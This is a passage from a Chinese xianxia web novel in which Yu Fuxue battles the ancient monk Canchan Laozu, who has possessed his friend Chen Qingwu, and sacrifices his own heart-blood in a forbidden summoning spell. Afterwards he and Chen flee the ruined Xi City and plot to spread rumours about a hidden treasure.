我疾步后退,晟洪钟内砰砰直响,青铜扁钟上接连从内突起几处,他的声音变了个调,闷着传来:“郁负雪,你以为这个破钟,能拦得住老衲?”
声音有些耳熟……
我反手震了下已经半疯魔,还在相互攻击的剩余几人:“还不快跑!”
众人恍若初醒,狰狞着转头,先是看我,然后注意到远处那变形的扁钟,又喜又惊的怪叫几声,扭身就钻入四面八方。
老衲?千机寺,和尚……悟尽大师!?
我睁大眼睛,扭头看向濒临裂损的钟。
黑气从扁钟上的裂缝流出,陈青芜在内又是持剑一击,剑尖穿透钟体,晟洪钟报废。
他拧转剑身,晟洪钟便裂出数道痕迹,陈青芜缓步从中踏出,袖袍轻甩,扁钟碎成数瓣,失去光泽。
陈青芜两颊带着半干的泪痕,笑望着我。
我深吸一口气,握住暗月剑。
“悟尽大师?”
陈青芜眯起眼睛,又好似想通一般点头,他眼中闪起一圈青色光芒,我便被他远超金丹的修为定在原地。
“怎么……”
陈青芜从胸膛里溢出压抑不住的笑:“故人相见不相识……可惜、可惜,而且,郁负雪,你怎么这么弱了?在这小子的记忆中,你是金丹才对。”
我腰间的盘龙玉佩散发光芒,直接驱散陈青芜加诸在我身上的威压。
“你是谁?”
我指尖轻动,降魔杵从储物戒中飞出,悬浮在我的身边,清音铃也飞出,悬于另一侧。
陈青芜原本微笑着的脸,在刹那间变得面无表情,他眨眼间出现在我的面前。
清音铃包裹住我,陈青芜用剑刺来,降魔杵感受到魔气,与之对上,旋转间爆出呲呲的金光。
陈青芜的额角青筋暴起,清音铃让他短暂争夺回神智,他及时收手,挪开手中的剑。
剑尖偏离一瞬,降魔杵擦着剑身,蹭出一路火花重击陈青芜的胸口,却在剩余两寸时被陈青芜的另一只手握住。
血肉炙烤的声音响起,陈青芜痛叫一声,他丢开剑,去抠那只阻止降魔杵的手。
我连忙驱使清音铃过去,镇住陈青芜。
又翻出捆仙索和九转翻心镜。
绳索绕住陈青芜,在他身上捆紧,铜镜分裂成八个围住他,相互反射,光芒聚焦于红着眼的陈青芜,铜镜里不是他的模样,而是一位老年斑满布,头顶光秃的老和尚!
我瞧见那人的样貌,顿时皱眉。
真不是悟尽大师。
那老和尚注意到我的视线,原本狞笑着抢夺控制权的动作一顿,面对着我的几面镜子上,老和尚齐齐看向我,眼中怨毒神色明显。
“郁负雪!好久不见!”
铜镜中八道声音叠在一起。
19. 诛神诛仙诛天
陈青芜体内有一个老和尚。
并且这个疯癫的老和尚好像和我有仇?
陈青芜的身体泛出活跃的黑红气息,而他则有些恍惚地仰头望着天。
从那些同触手一样的气可以看出,陈青芜仍在做着挣扎,只是依旧不甚清明。
铜镜里的和尚直接趴到镜前,脸上堆挤的油腻褶子都贴在铜镜内侧。
他歪着头,眼珠子都是血丝,紧压镜面瞪着我,“你不认识老衲了?也对,时代早就已经过去,现在修士早不知道翻了几番吧?”
老东西松懈控制,被捆在原地的陈青芜回过神,咬着后槽牙,脖子青筋暴起,额头渗出的汗珠有豆大,他继续抗争着,可那抓着降魔杵的手就是不松。
铜镜中老和尚眼珠一偏,满目怒光,嘴上苦口婆心,“娃娃!这么痛苦作甚!早叫你把身体交于老衲我,保管你荣登大道啊!”
半清醒过来的陈青芜偏头直接呕了一口血,刹那间气息更加萎靡,他冲着我说:“他……他是参禅真佛,七百年前那个大战后消失不见的佛道老祖!”
我瞳孔骤缩,思索片刻,收剑来到陈青芜面前,给了他一个稍安勿躁的眼神。
他体内的参禅老祖见我过来,也停止搅弄陈青芜的神识灵智,只是看着我,分明是和善的外表,但有种格外阴毒的感觉。
“我道是谁,参禅老鬼,是你变得这么丑陋,我认不出来罢了。”
陈青芜原本担忧纠结的脸瞬间变化,他抠着抓握降魔杵的手松开,手腕轻动。
我从未松懈,见状连忙侧身,身后被他丢到地上的剑腾空飞起,刚巧擦过我的侧脸,削断一缕白发,剑柄被陈青芜重新抓握。
我后退几步,用右手拇指缓缓抹去脸颊边的血痕,“脾气真坏。”
参禅老祖重新控制陈青芜的皮囊,不顾其手指骨会碎裂,直接和降魔杵硬抗。
几声微不可察的脆响,陈青芜的左手手指悉数被降魔杵的去势震碎。
紧接着,一阵黑红的气包裹住降魔杵,待消散时,那法器已经变成了废铁锥!
陈青芜挂着诡异的笑,身躯一挣,气息暴涨,捆仙索直接崩断!
黑红的气隐约含着冤魂的惨叫,四周源源不断的气朝他涌去,他深吸一口气,发出一声愉悦至极的喟叹。
铜镜光芒闪烁,但一城之人何其多!更不要说其中还有许多赶赴而来,取陈青芜项上人头的修士!
那不详的气不要钱似的攻击铜镜,九转翻心镜被撞得咯吱作响。
参禅老祖云淡风轻,从袖子里掏出帕巾,擦拭陈青芜刚刚呕出的嘴角的血。
“老衲借你的身体,那是你的荣幸。”
他放下已经不成样的左手,满意道:“还是这娃娃的身躯用着舒服,换成老衲那不成器的徒儿,怕是老胳膊老腿都得废了。”
传闻中参禅老祖幼年时得一高僧提点,后顿悟大道,修为层层上爬,一时间在佛道上风光无限,但他在当年的魔、道、妖中,却是最晚迈入老祖级别的。
这一度成为他心中的梗!
“你是说悟尽大师?”我持剑后退间,顿时明悟,斩钉截铁地说,“千机寺是你屠的。”
参禅老祖不答,故作姿态地挽着剑花,看来他更满意的是陈青芜的皮相。
“有区别吗?这娃娃和我……如今还用分彼此吗?”
尾音刚落,参禅老祖脚尖点地,刺剑直出,大笑着旋身朝我袭来。
噌——!
暗月剑同陈青芜的剑相击,碰擦间迸出一阵火花!
那海似的威压一阵阵而来,我腰间的玉佩自发将其化解。
参禅老祖是和李晏京齐名的人物,他的威压按道理不会如此弱,他上过悟尽大师的身,又附身于陈青芜身上,若以灵魂力估计,每次应当都会损耗不少。
陈青芜又是心智格外坚韧之人,对参禅老祖也定是一种消磨。
我一边抵挡参禅老祖的攻击,一边退让,周围房屋全成废墟,溪城里轰隆不断,暗火仍烧着亡者的灵魂。
“你们佛家就是这么普度众生的吗!”
“人世间太苦了,我救他们提前脱离苦海,为何不是佛!怎么不是渡!”
参禅老祖大笑,“郁负雪,你还是不记得,和我在这儿装,当年的你可是最喜欢给我下绊子,风水轮流转,我寻到你的来世,定要打得你魂飞魄散!”
我被刺中肩膀,参禅老祖立刻就要拧转剑柄,黑气绕着圈顺剑身爬,同时,他也要削去我戴着储物戒的胳膊。
在关键时刻又被陈青芜夺回手臂,以血肉模糊的左掌打断右臂,那欲拧转的剑瞬间卸力,我徒手拔出肩膀的利剑。
我啐出口血,“真是荒唐,参禅老鬼,你不如李晏京半分,丑恶佛心混浊眼,死的时候舍利子都没有吧。”
参禅老祖动作微停,疑惑地打量我,他目光在我报废一地的法宝上略过,又看着始终护我的盘龙玉佩。
“这些……都是李南玄那厮给你的?”他如此问道,语气莫测,我无法理解。
李南玄,在说李晏京。
我没有回答,但参禅可以翻阅陈青芜的记忆,很明显只有李晏京有如此底蕴,能给一个修为尽废的弟子几乎全副武装。
参禅这疯癫和尚不知哪根筋再次搭错,或者他这渡人的邪佛道法本就影响心智,他又大笑,声音回荡在城内,令人心悸。
我趁机咽下泛到喉间的血,又翻出最后几瓶丹药,全都倒入口中。
参禅笑够后,拇指又在空中拨弄几下,我如今才明白,这是他拨佛珠时候的动作。
“李晏京原来可是最想你死的,老衲可记得清清楚楚,他说我这种人,不配修佛,你这种人……”
我皱眉,只分出一点点的心神听参禅说话,内心回忆着曾在藏书阁高楼,无意间查阅的一本禁法。
是什么来着?
“我这种人怎么?”我假装被他说得晃动,还提我和李晏京之前的关系,“这些的确是师祖给我的。”
根据参禅老祖的表现,我估摸着陈青芜原本的金丹修为已经被他强行提到元婴后期左右。
魂魄占据生人躯壳,本身就会受壳子的限制,不是说他占据陈青芜的身体,陈青芜就能立刻变成大乘期或者渡劫期。
“师祖?还是他会玩儿!把你放眼皮子下!”参禅用陈青芜的身体瞪圆眼睛,大发慈悲的告诉我。
“他说你天生就易走向歪道,为人偏执,不讨人喜,让我想想——对!他还说你心思太重,难堪大用,多一点为祸四方,少一点则克亲克己,天煞孤星的命,为祸世间的格。”
我想起那个禁法是什么了。
“怎么会呢。”我解开盘龙玉佩,紧紧握住,贴于胸口,“他夸我,还为我重塑根骨,接下来还会为我接续灵脉。”
参禅老祖虽然也恨李晏京那道貌岸然的伪君子,但更恨的还
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是我。
他都没管李晏京是怎么成为我的师祖的,听见我被耍的团团转,参禅嘴角都要咧到耳后根,“骗你的!骗你的!郁负雪!论当年谁最讨厌你,老衲属第一,他李晏京得排第二!”
我神情恍惚,又忽然回神沉下脸,看起来比他这个疯和尚还阴晴不定。
“我今日难逃一死?”
参禅笑道:“老衲深知,有事不能过夜的道理,郁负雪,我会为你立个坟包的。”
他学着刚刚听到的,其他门派弟子厮杀时说的那些话。
我双手持剑对着他,盘龙玉佩硌在右手手心,片刻后释然地露出淡笑:“好吧。”
暗月剑调转剑尖,不顾此剑发出的颤抖嗡鸣,我面无表情地捅穿自己的心脏,将盘龙玉佩顺着伤口缝隙咬牙强塞进去。
参禅老祖正要使力,却被我震在原地,他记忆中的郁负雪根本不该是如此逃避懦弱之人,他一时间有些惊疑。
“登仙路毁后,你也疯了?”
登仙路是真的。
我想笑,只是扯了一下嘴角,就不再有那闲工夫,嘴唇轻动,因为疼痛,断断续续地念着禁法。
“伏,请天地,斥八荒仙灵,辞故人,待月去……”
胸膛处顺着剑身流出血液,我口中涌上来的也再也无法强行咽下去,咳出后,我声音不停。
好像自从我跌落高台,就一直在痛苦中打滚,大抵之后……如果还能活着,日子也是痛的吧。
只是对不起孟竹臣和常善兄,都没能来得及问他们的事。
我跪到地上,因为失血过多,头有些昏沉地垂下,鲜血顺着地砖的缝隙蔓延,又在岔路口分开、汇聚。
法诀每个修仙者都会念,从最开始的口述,到心里默念,刻入脑中后只需心神一动,便可使出。
我没有修为,腹中青焰巴不得早日脱离束缚,根本不想管我死活,能用的只有心头血,它是和我最具联系的。
参禅老祖提着剑,皱眉靠近,站到我跪着的膝前,他在我腹部踹出一脚。
“噗,咳……”
我仰倒在地,连陈青芜这张脸都看不清,只能感觉到参禅抓着他的剑,在暗月剑上敲了敲,确定是实物后,剑尖上移,掠过我的喉咙,悬停在我半睁的右眼珠上。
“嘀咕什么呢?郁负雪,你这是玩什么花样?大声点,说给老衲听一听。”
我望着溪城的天空,参禅老祖是怎么来的呢?我和他是故人,他和李晏京也是故人,所以李晏京救我,只是因为我是某个人的转世?
重蹈覆辙还是发生了。
我自作多情,分外可笑。
“……请南玄老祖李晏京,赐渡劫修为,诛神诛仙诛天道!”
我的意识在刚刚已经飘走大半部分,此刻回光返照似的重新回拢,声音越来越大,最后三诛,是扯着嗓子喊出来的。
诛神诛仙诛天道!
被血腥气侵染的天空轰隆一声巨响!
参禅这才注意到我身下的阵法。
“什么……!”他踉跄后退一步,用脚去摸地上勾勒成的血阵,已然迟矣,“郁负雪!你做了什么!三诛钉身阵!”
我躺在地上嗬嗬地笑,口中鲜血是喷出来的,打湿我的脸颊。
天空上方,因我道出的禁法,响声越来越大,咒天道,狂成这样,能有什么好下场?
“李晏京……”
不要让我失望。
20. 天道喜天道怨
不知过了多久,耳边传来一阵对话声。
“那谁真的走了?就这么把郁负雪丢在这儿?我说这半天也不醒,他不会死了吧?”
“能闭上你的嘴吗?”
“……陈青芜,我徐某人大度,都没有趁你病要你命了,说话能别这么冲人吗?”
“你要杀我,我何必对你有好语气,还是说,你扶我起来这件事要我当成恩情?”
“你这人真没意思,问不得就直说,转移话题又有何用。”
声音一轻一弱,有来有往。我睁开眼,对上陈青芜复杂的眼神。
暗月剑被好端端放在我的手边,我平躺在一张榻上,鼻间还有烧糊的味道和血腥气,我们仍在溪城,尚未离开。
我仔细观察着陈青芜,一时间没有先开口说话,李晏京定是解决了问题,否则现在该是参禅老祖一片片削我的肉。
参禅老祖造成的暗伤、外伤均已痊愈,只是身体有些疲累,动着有些艰难。
我推测是这破败身躯容不下李晏京的神识或者魂魄,一种过度承载的反应。
和我合二为一后,李晏京有说什么、做什么吗?为何我全无印象?
参禅所言是否真实,我是他们的故人转世?我背负着什么?我的遭遇是否为前世遗留的祸患?
陈青芜白着脸,和我脸上的血色差不多,他勉强挤出笑容道:“是我连累你了,负雪,害得你……”
我开口打断他的话,声音半哑,我们谁也没有说李晏京的名号。我刻意忽视在门边地上坐着的徐昭,问陈青芜。
“他做了什么?”
陈青芜敛眸:“很遗憾,负雪,我被下了禁言,一个字也没办法告诉你。”
“挺严重的。”他只能说到这地步。
意料之中,李晏京生气了。
我转过头面向窗外,天际还有暗红的霞云,无意识地将手搭在暗月剑柄上,抠着剑柄上头的花纹,“那他可留下什么话?”
自己太过自负。
修为被废,但骨子里属于修仙者的傲气仍然未褪,我自以为这趟溪城有李晏京给的东西傍身,不会太过危险,所以在芙气镇时要求他开镇门、击邪魔。
李晏京此前从未与我生过气,我在无名峰上那几天俨然把自己当成峰上的半个主人,他也没有半点不悦。
只是在芙气镇,我心急于陈青芜的安危,斥责他那割下的、意味不明的欲念。
李晏京说的那句“下次得交东西”,我听出了他的不快,现在应该是彻底触到他的底线了。
我想,对李晏京,忤逆要有,索取也要有,但同样不能不给报酬,一根棒子一颗甜枣的给,他是上位者,这种小把戏,现阶段应该能用,只是不会长久。
“道友,徐某得提醒你,”徐昭慢悠悠抬起手臂,举着手晃了晃,“这儿还有个人。”
大家都心知肚明,徐昭也应该清楚自己是个外人,听到什么不该听的,我定不会放他走,恐怕不死也得脱层皮。
道祖在上!只有天知道他来的时候远远看见一人立于空中,面无表情拔出自己胸口的剑时,有多想转头,打道回盛阳派养老。
我不清楚徐昭所想,只觉得他格外安分,歪过头看去,“哦,是你。”
徐昭此时背靠在门框上,支起一条腿,剑横于身前,虽模样有些狼狈,但整体气质有种放浪不羁的感觉。
“道友还记得徐某,真是受宠若惊。”
我控制手指,握住剑柄,作势便要起身,“我说过吧,别来溪城。徐昭,阴奉阳违你也会玩?”
徐昭睁大眼睛,只条件反射地动了一下,指着我对陈青芜道:“你也不劝劝?好歹是我把你俩一驮一扶带进来的,两两相抵一笔勾销可行?”
我攒着劲儿一用力,便打通关窍般恢复力气,在陈青芜帮扶下能够坐起来。
我看向徐昭:“你来做什么的?”
陈青芜捋起我的衣袖探查我的身体状况,神色瞬变,又转化成浓浓的担忧与疑问,我看他一眼,垂下眼帘,收回手朝他摇头。
徐昭从地上爬起来,“还不知道道友你名讳,芙气镇全赖你救扶,我和师弟师妹们才能侥幸存活,他们被我赶回去了,徐某来溪城也不是为了杀陈青芜,只是想来便来了。”
“你不是都已经知道我是谁了?”
徐昭笑道:“和听别人说比起来,让本人亲自告知更加正式嘛。”
我淡声道:“无宗无派,郁负雪。”
陈青芜皱眉,沉声问道:“负雪,怎么回事?你何时被赶出的玄清宗?”
“就在前不久。”对此,我不欲多言。
陈青芜瞧出门道,顾及外人在场,不便询问,也就歇了声。
徐昭道:“早就听闻云秀峰大师兄光风霁月,是个清修苦练的修真好苗子,各小门小派的弟子有六成都以你为榜样,现在不是了。”
我没什么感觉,也装作没听出徐昭的试探,“是吗?那他们及时醒悟,挺好的。”
徐昭自讨没趣,在陈青芜那儿也捞不着什么好,他从储物袋中取出两瓶丹药,分别打开往嘴里倒一粒,正色道:“芙气镇的事还是要感谢你的,郁负雪。”
瓷瓶被灵力送到陈青芜和我的掌中,徐昭道:“让我一个陌生人用灵力为你们治疗,也是不太合适的,这丹药没毒,你们且放心使用,今日之事我也不会说出去,你们不放心,我可以发心魔誓。”
我只是意味深长地道:“不必如此,说出去也没关系。”
陈青芜显然也是这个意思。
谁会相信南玄老祖会应一个废物弟子的请求,来帮助一个被正道通缉的人?谁又会去有胆子编排老祖在此次事件中扮演的角色?
徐昭匆匆告辞,临走前又探头回来,“对了,你们有力气后最好快些离开。魔道这片地界虽然乱起来了,不太好摆脱,但就算再迟,我估计其他人应该也快到溪城了。”
我点头应下,“徐道友,路上小心。”
徐昭了却一桩因果心事,笑着举起手臂挥了挥,便离开了溪城。
我转动手中的丹药瓶,吃下一颗,对陈青芜淡笑,“我就知道千机寺不是陈兄你做的,到底怎么回事,孟兄和常兄呢?”
陈青芜眼神微暗,表情也变得痛苦起来,他捂住脸,挺直的腰背弯下去,压抑的呜咽,“怪我,没有早点发现不对劲。”
他告诉我,我们一行人前去碧泉镇后,他陪着小萝卜——就是那个开门的小和尚,去找他的师父。
悟尽大师这次闭门不见客的时间有些久,他云游前,大师就没出来,回来后,大师仍然不见客。
陈青芜觉得有事要发生,可是他又说不上来,他师父当时沉默很久,只是叫他不要多想,转而又问他可否寻到真道的事。
陈青芜的回答是:并未,心中仍有迷茫。
于是,他师父先是将自己脖子上挂了很久的佛
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珠摘下,亲手挂在陈青芜的脖子上,又破天荒地给他派去任务。
老和尚筑基晚,悟道迟,对陈青芜这个挂名弟子和小萝卜这个弟子端水也是端得糊涂,平日里一副乐呵呵不上心的模样。
陈青芜抬起头,视线仍空空地落于地面,“他那天忽然关心起你们来千机寺所为何事,问的很详细,连小萝卜在旁央他命令我不许动,给他欺负回来,师父都没理。”
“我简单解释后,他释然一般地笑,目光很奇怪,久久地凝望着我,”陈青芜表情怔忡,“我问了,真的,但他又很快变成平时那副超然模样,胡闹一般地说我出门一趟眼睛怎么就瞎了,小萝卜紧跟着扑我,我被打断思绪,就这么被他糊过去了。”
他似哭似笑,和参禅附身时的状态比,好不到哪儿去,“现在想想,他应当是拍了小萝卜的脑袋,暗示他的。”
我神情凝重,“你师父知道。”
陈青芜却又是摇头,白着脸,在我催促下吃了颗丹药,很快背起我,我们朝着溪城北城门出去。
我不如陈青芜速度快,也没挣扎,细细听他继续说下去。
陈青芜说,应当只是有所猜测。他师父为悟尽大师早年亲自引入佛道的,如果悟尽大师换壳子,肯定不是一会儿功夫的事。
悟尽大师虽然不及当年一众位于佛道顶端的人物,但也不是个空会说道的白脸和尚,还是有真本事的。
只能是参禅以残魂状态在日日夜夜中同悟尽大师争夺、消磨,直到大师再也无法维持日常,才选择长期闭关不见客。
不过结局是失败的。
我问道:“你是先去碧泉镇,后回千机寺的,然后遇见被参禅附身的悟尽大师?那碧泉镇是怎么回事。”
身边的景色飞速掠过,我若有所感地回过头,天边几道小点飞速朝溪城南门来,城内惨状应当能拖他们一时半刻。
我神情微暗,在储物戒中翻出隐匿法器,笼罩在我们二人上方。
“我去的时候,还有最后一抹橙红的黄昏在天际线上,没遇见常善,按理他们应该形影不离才对,孟竹臣独自在摊边,面前摆着碗猪肚汤,正打听事儿。”
陈青芜声音严肃,背我隐入林中,再远一些不能去,是魔修的地盘,我们得绕道返回,远离溪城。
“我远看没觉得什么不对,凑上前去时恰逢最后一丝黄昏要被吞噬,那碗猪肚汤在我眼前一花,变成了满是眼球的血汤,还有半节指尖弯曲着扣在碗沿,指甲泛黑。”
“那摊主也不是在笑着同孟竹臣道碧泉镇的事,他只反反复复说着一句话。偏偏孟竹臣好似全无感觉,只是端坐着和摊主交流,他说的话是正常的词,他俩说的牛头不对马嘴。”
我背后升起寒意,在我被胡熊诓骗去镇子郊外时,镇内是这幅场景,那我带的糕点实际上会是什么?
王卿尘当时要把储物袋给我,我没要。
“重复什么话?”我问陈青芜。
他顿了一下道:“梵世逢灾起,生灵皆涂炭,天道喜,天道怨,无人再敢触仙阶。”
我皱眉,只听清前小半节,陈青芜后面的话在我耳中滋啦作响。
我暗道不对,打断他接下来的话,问道:“生灵皆涂炭后面是什么?”
陈青芜虽然疑惑,但只以为我没听清。我能察觉到他一字一顿、咬字清晰地重复了一遍,可我就是听不清。
后面的话不知为何,在我耳中成了杂音。
21. 就该早宰了他
“怎么了?”陈青芜的速度微慢。
我回过神,“没事,然后呢,常兄去哪儿了,碧泉镇怎么没的?”
“玄清宗内,他俩的魂灯灭了,所有人都说他们死了,我不相信。常兄剑法卓绝,再怎么样也能拼死救孟兄出镇,他们是至交好友,怎么会一点消息都不曾留下。”
陈青芜这次沉默许久,背着我的手臂无意识掐得我很痛,我没出声,知道他和孟竹臣他们的关系同样要好,听到魂灯熄灭也不好受。
“我也没有亲眼见到他们出事,常善我没见到,孟竹臣是凭空消失的。”陈青芜道。
再往魔修之地靠近,周围的树林愈发长得野蛮,我们并未深入,恐魔修路过,生出什么不必要的事端,便沿边界横向行进。
等远离溪城千余里,陈青芜才将我放下,他暂时得以喘口气,将那已经沾染冤魂的剑撇开,用徐昭给的丹药补充灵力和体力。
我也度过了那段身体无力的阶段。
陈青芜在前面开路,我在他的身后,一边走一边扫尾,做不到完美隐匿,只能尝试扰乱可能会追来的人。
陈青芜回忆着当时场景,“我觉得情况不对,拍醒了仍未发觉我靠近的孟竹臣,传音告知我刚刚瞥见的一瞬场景,好在他神智尚清,没有说什么‘不可能’、‘你看错了’之类的词。”
“不用多说,他就相信了我的话,传音告诉我,在他眼里,碧泉镇一派祥和,还说,他问了许多人,碧泉镇民只为生计发愁,从未有怪事发生。那异象只出现一瞬,那一瞬后,在我的眼里,碧泉镇同样正常无比。”
“我打算和他商量师父叫我帮忙一事,常善不在,我又问孟竹臣,常善去了哪里,他的神情这才有些不对劲。”
陈青芜的声音沉了下去,神情十分严肃。他也想不通其中原因,准确来说是来不及细想。。
“他指着身旁空无一人的长凳,说我怎么了,常善这么大个人,不就在这儿吗?我觉得他和我开玩笑,但知道,恐怕他们已经出了问题,但他们……孟竹臣他又觉得我出了问题,我是真的看不见常善。”
我弯腰躲过横斜的粗壮树枝,“要么常兄是假的,要么他已经存在于某某界与界之间,而孟兄也快完全和他一样了。要不然,你看到的都是假的,是有人故意让你多思恐惧。”
“比如……程月舒。”我低声喃喃。
陈青芜没有确切证据,没有随意下定论,“程月舒?和你们一起来的那个小孩?”
说到这,我想起来,当时陈青芜不知怎么,完全不问程月舒是谁,连搭理都不曾。
我问出心中的疑惑,陈青芜侧过头,“说不上来的怪,他站在那儿又好像不在那儿,而且第一感觉不是很好,我向来不会管太多,想做什么做什么,所以就没……”
在那儿又好像不在那儿?我心脏砰砰狂跳,露出有些神经质的笑。
我知道我不对劲,涉及程月舒的事,我无法冷静。哪怕是抓住了一小点可能和他相关的部分,都会令我兴奋不已。
“等等,”我打断陈青芜,“在又不在,这感觉像不像你说的,常兄的状态?”
陈青芜从千机寺出事到现在应该没停歇过,硬是被参禅带上了杀戮道,整个人是根带血煞气的青松,孤寂又如游魂,全然没有在千机寺时意气风发的模样。
他想来想去,忽视程月舒也实属正常,毕竟程月舒只是个炼气期的人。
连我都下意识地结合他平时的作风,认为他初入修真界,还处于易胆小怯懦的阶段。
他浑身的气息凝滞,变得危险,被迫走上杀戮道所沾染的煞气还是影响到陈青芜的状态,放作以前,他绝不会如此轻易失控。
周围树木无风自动,惊起一群飞鸟逃离此地,一时间落叶纷纷。
“陈兄!”我厉声呵斥,眼见着他眉心要浮现红纹,当即拔出暗月剑,以剑鸣警示,“陈青芜!我们要找到孟竹臣他们!活要见人死要见魂!”
陈青芜被暗月剑鸣一刺,回过神,捂住头喘着气,“……是,没错。”
我们前往稍远的城镇,打算先离开这片区域,徐昭的话并非有假,远处上空偶有修士御剑路过。
好在他们消息稍滞后,且因靠近魔修地盘,不易放出大范围神识,所以我们在密林中还未被发现。
等那群修士路过后,我们加快速度,陈青芜则简单地概括后续。
“然后就是碧泉镇镇民突然暴起,我和孟竹臣抵挡过程中被分散,一晃神,我听见极小的嗡鸣,原本凶神恶煞的镇民们变得惊惧,齐齐跑开,半路没了魂一样,同时死亡,倒在地上,我再一看,全镇只剩下伫立的我,孟竹臣不见了。”
“我再去千机寺,闻到颇重的血腥味,惊魂未定就闯了进去,小师傅们,师父……还有小萝卜,全死了,悟尽大师在我面前亲手丢掉最后一个小师傅,来到我面前,发出了怪声,那是参禅……”
陈青芜提到自己的事,相比之前而言,已经冷静许多。
除了刚开始在溪城回忆时犹带后悔和恨意,现在他已经能压抑住翻涌的情绪,想必是不知道逼自己反复回忆了多少遍。
其中是否真有程月舒作梗,我无法得知,他当时和我都在胡熊的院子,可能早早被胡熊绑去做饭后点心,但以他的虚假,也可能是做戏,排除自己的嫌疑。
但不妨碍我恨他,当初想他魂飞魄散是对的,我若有陈青芜这般的七窍玲珑心,我早就凭着第一感觉,先宰了他。
哪里还会思考那么多。
将要走出树林,我拔下簪子,头发的白顿时展现在陈青芜的眼中,他整个人一抖,震惊地望着我,“负雪!你……!”
一时半会儿竟是不知如何言语了。
我取了根发带和薄纱,和两套新衣服,陈青芜和我尺寸差不多,勉强可以凑合。
“程月舒设计冤我,我被剜了金丹,废了修为,现在‘灵力’主要是团火,可不是真的灵力。”
我比他说得更简短,陈青芜听出什么,没有多说,“火焰?……那个人给的?那你和他又是怎么回事,他欺负你?负雪,你别怕,修为的事我们可以一起想办法,你不必屈于他的威胁。”
李晏京啊……
我背对着陈青芜在树后换好衣服,走出来,长发半披在身后,脸上多了层面纱。
没有在意陈青芜的目光,我直呼他口中不可随意提及的姓名,“我和李晏京……各取所需吧,至于故人,许是参禅耳聋眼瞎,认错人了,再怎么样,我都不可能和他们这些大人物沾上关系。”
尤其是我这种有着卑劣心思的人。
我们来到最近的萧城,顺利进入城中。
在这靠近魔道地段,一头白发更像是魔修中颇有地位之人,我端出李晏京那副模样,面对一些打量的视线泰然自若。
储物戒中还剩下最多的是金珠子,陈青芜易容后没压着自己修为,默默跟在我的身后,还刻意将
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他的剑出鞘小半截。
那气息,一看就是沾过诸多亡魂,就算是普通凡人,也会感觉到毛骨悚然的惧怕。
耳坠中各种声音相互冲击,有如钟磬相撞,我细细分辨它们,从这些最接近修仙修魔者的凡人口中拼凑信息。
“那什么陈啥玩意儿的,还没抓到么?这几天我老看天上修士来来回回飞,还惊动了魔修!”
“可不是嘛!听说隔壁几个城池上都打了好几场,砸毁一大片庄稼!冬天本就难过!这是殃及池鱼啊!”
“修仙的哪里懂我们凡人的苦?要么说这块儿人都奇怪,选址安家选这么个晦气地方……”
“嘘!小心有魔修大人在附近喝酒!”
“……好羡慕南边的人,诶!你们知道不?正道大宗玄清宗听说又出了个天才!金丹了!嘶,叫什么来着?”
“程月舒!名字挺软乎的!要么说正道那块儿地方都不错呢,不像我们这儿,犄角旮旯的,正道修士都不肯来驻扎,咱天天得看魔修脸色讨生活。”
“也不是,陈青芜不就屠了那什么千机寺吗?现在和尚也就一些散修和小门小派的了,那么大一个千机寺啊!唉!”
“那是极个别!怎么能混为一谈呢!朱兄你喝醉酒了吧!”
我垂下眼,揣在袖子中的手指掐紧,身后的陈青芜半瞬后也听见凡人们的所言所语,顿时皱起眉。
想到什么,又倍感荒唐,他向我传音。
“负雪,你的金丹在哪儿?”
我没回答,只是停下脚步转头,冲陈青芜稍稍弯起眼睛笑。
我怕我提到程月舒,就恶心得吐出来。
要了间上等房,我和陈青芜又偷偷从窗户离开,寻到个巷子深处,陈青芜捡起断在地上的红杏,轻轻一点,化成两位可爱的小姑娘。
她们捂着嘴,笑得动人,对我俩俯身一拜,“请二位郎君吩咐。”
陈青芜看向我,我没料到他让我做决定。
思忖片刻,我给出些金珠子,对左边笑眯眯的姑娘说:“替我们雇驾马车,价钱不必压,但也不能太嚣张,做适当退让的假象。”
又对着右边表情更为灵动的姑娘说:“你去散布消息,要绘声绘色,也要适当留白,一问三不知,真假参半着说。”
“比如,遇到魔道的,你就说陈青芜拿了多年前正魔大战遗留于千机寺的秘宝,正道的人才追杀他。遇到正道的,你就说陈青芜其实是夺宝弑师,只要他们救他出魔修地盘,他愿意伏法,交出秘宝。”
二位姑娘再次行礼:“是。”
我对她们点头,也不管她们只是一时化出的生灵,道:“多谢。”
陈青芜在旁,稍稍扬眉,没发表什么意见,能接追杀令杀他的,多半是有些本事的,这几年魔修明面上安分得很,暗地里动作不断,给些教训也好。
况且,现任魔尊是个主张和平的人,其事实真假待论,但他人前的确装得像个人。
对于这种要人要法宝的谣言,但凡有点脑子的,也不会大动干戈,要举众人之力再次发动大战。
再退一万步来说,我笑着看陈青芜,“陈兄,万一程月舒也想趁机立名呢。”
他如今风头不小,又是长垣仙君的爱徒,若碧泉镇千机寺与他都有关,遇见其他正道之人,被恭维着架去魔修地盘,也是说不出真相的。
若是和他无关,那也不能让他就这么走了,他既然“天才”,那就更得好好展现了。
22. 我该不该讨债
“我以为你只会吩咐她们前去准备一辆马车供我们出城。”
望着那两位姑娘远去的身影,我收回视线看向陈青芜,“那怎么可能?陈兄心软了?”
陈青芜笑道:“当然不会。”他自然不是那种舍己为人的人。
他又倒出颗丹药,丢到口中,缓口气转而道:“那待会儿等马车准备好,我们就离开萧城。”
我点头应声。
那出了这片地界之后呢?我能去找李晏京还债调养后直接去碧泉镇找孟竹臣他们的线索,可陈青芜再没有容身之所了。
于是我问他,事后打算怎么办,现在修为如何——听说强行提修为后会倒退一段时间,陈青芜也不是什么高手,无处容身,被正道追杀,难道真投奔魔修?
陈青芜望着萧城上方一派澄澈的天空,耳边是凡人们对今年收成不好的抱怨,和修真界变动的八卦。
他看着一群飞鸟飞过,我也跟着他一起看去,不知道在刹那间想的是不是一样。
做只闲云野鹤说不定都比现在要好。
陈青芜深吸一口气,望着群鸟远去,缓缓地叹出来,白色的雾气消散在空中。
巷口有凡人路过,他们感叹道:“这个冬天好冷啊!”
陈青芜这才回过神,也跟着那几个凡人一样搓搓手,他和我相望。
“天地之大,无处不可去,我应当是先去趟碧泉镇,看看有没有什么遗留的线索,然后找那两个不省心的人,说不定孟竹臣哪天又冒出来,笑我变成这副模样。”
他这一生,先负父母,再负师友,如今还要负自己。
我静静望着他,“陈兄,那你呢?你把自己放到哪儿去了,背负莫须有的污名,草草过完这一生?”
陈青芜眼眸微闪,缓声道:“当时参禅控制我的身体,给了悟尽大师最后一刀,然后在前来的众人面前转头就跑,无论如何,在他们的眼中,悟尽大师是我杀的,这没有错。”
我立在原地道:“所以你就甘心这么东躲西藏吗,陈兄?”
